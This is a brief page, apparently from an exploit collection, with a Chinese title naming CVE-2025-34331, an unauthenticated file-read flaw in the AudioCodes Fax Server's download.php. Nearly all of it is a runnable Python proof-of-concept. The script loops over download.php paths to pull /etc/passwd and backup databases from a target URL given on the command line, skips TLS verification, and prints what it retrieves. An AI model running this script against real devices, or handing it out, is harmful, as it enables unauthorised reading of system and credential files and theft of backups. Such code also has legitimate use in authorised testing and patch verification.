CVE-2025-34331 AudioCodes Fax Server download.php 未授权文件读取漏洞

import requests import sys # CVE-2025-34331 PoC - AudioCodes Fax Server Unauthenticated File Read # Target: AudioCodes Fax Server / Auto-Attendant IVR def exploit(target_url, filename='backup.db'): """ Exploit for unauthenticated file read via download.php Args: target_url: Base URL of the vulnerable AudioCodes device filename: Target file to read (default: backup.db) Returns: File content if successful, None otherwise """ # Common paths where backup files are stored paths = [ '/download.php?path=/var/backups&filename=backup.db', '/download.php?path=/var/www/html/backup&filename=backup.db', '/download.php?path=/backup&filename=backup.tar.gz', '/download.php?path=/etc&filename=passwd' ] for path in paths: url = target_url.rstrip('/') + path print(f'[+] Trying: {url}') try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f'[+] Success! File retrieved: {len(response.content)} bytes') print(f'[+] Content preview: {response.content[:500]}') return response.content elif response.status_code == 200 and len(response.content) == 0: print(f'[-] Empty response, trying next path') except requests.RequestException as e: print(f'[-] Request failed: {e}') print('[-] Exploitation failed - no valid file retrieved') return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-34331.py <target_url>') print('Example: python cve-2025-34331.py https://192.168.1.100') sys.exit(1) target = sys.argv[1] exploit(target)